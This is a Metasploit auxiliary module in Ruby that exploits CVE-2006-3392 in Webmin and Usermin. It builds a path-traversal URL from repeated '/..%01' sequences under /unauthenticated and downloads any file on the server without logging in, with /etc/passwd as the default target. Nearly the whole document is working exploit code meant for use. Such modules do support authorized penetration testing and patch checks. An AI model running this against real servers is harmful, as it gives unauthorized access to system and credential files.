Webmin File Disclosure

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Webmin File Disclosure',
        'Description' => %q{
          A vulnerability has been reported in Webmin and Usermin, which can be
          exploited by malicious people to disclose potentially sensitive information.
          The vulnerability is caused due to an unspecified error within the handling
          of an URL. This can be exploited to read the contents of any files on the
          server via a specially crafted URL, without requiring a valid login.
          The vulnerability has been reported in Webmin (versions prior to 1.290) and
          Usermin (versions prior to 1.220).
        },
        'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>' ],
        'License' => MSF_LICENSE,
        'References' => [
          ['OSVDB', '26772'],
          ['BID', '18744'],
          ['CVE', '2006-3392'],
          ['US-CERT-VU', '999601'],
          ['URL', 'https://web.archive.org/web/20060722192501/http://secunia.com/advisories/20892/'],
        ],
        'DisclosureDate' => '2006-06-30',
        'Actions' => [
          ['Download', { 'Description' => 'Download arbitrary file' }]
        ],
        'DefaultAction' => 'Download',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        Opt::RPORT(10000),
        OptString.new(
          'RPATH',
          [
            true,
            'The file to download',
            '/etc/passwd'
          ]
        ),
        OptString.new(
          'DIR',
          [
            true,
            'Webmin directory path',
            '/unauthenticated'
          ]
        ),
      ]
    )
  end

  def run
    print_status("Attempting to retrieve #{datastore['RPATH']}...")

    dir = normalize_uri(datastore['DIR'])
    uri = Rex::Text.uri_encode(dir) + '/..%01' * 40 + Rex::Text.uri_encode(datastore['RPATH'])

    res = send_request_raw({
      'uri' => uri
    }, 10)

    if res
      print_status("The server returned: #{res.code} #{res.message}")
      print(res.body)
    else
      print_status('No response from the server')
    end
  end
end